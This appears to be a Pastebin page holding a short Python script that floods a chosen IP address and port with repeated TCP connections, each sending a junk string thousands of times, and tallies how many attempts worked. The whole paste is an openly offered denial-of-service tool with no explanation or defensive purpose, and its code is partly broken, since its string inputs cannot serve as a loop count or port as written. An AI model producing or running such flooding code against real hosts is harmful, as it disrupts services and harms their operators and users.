Guest User

Untitled

a guest
Jun 13th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1. import socket
  2.  
  3. def flood(ip, porta, spam):
  4. s = socket.socket(
  5. socket.AF_INET, socket.SOCK_STREAM)
  6. s.connect((ip, porta))
  7. s.send(spam*10000)
  8. s.send(spam*10000)
  9.  
  10.  
  11.  
  12. site = input ("Insert target: ")
  13. port = input ("Insert port: ")
  14. power = input ("Insert power: ")
  15. spam = "LOLO"
  16. c = 0
  17. d = 0
  18.  
  19. for i in range(power):
  20. try:
  21. flood(site, port, spam)
  22. print "%s worked" % str(i+1)
  23. c = c + 1
  24. except:
  25. print "%s failed" % str(i+1)
  26. d = d + 1
  27.  
  28. print ""
  29. print "Overactives: " + str(c) + ", Failed: " + str(d)
Add Comment
Please, Sign In to add comment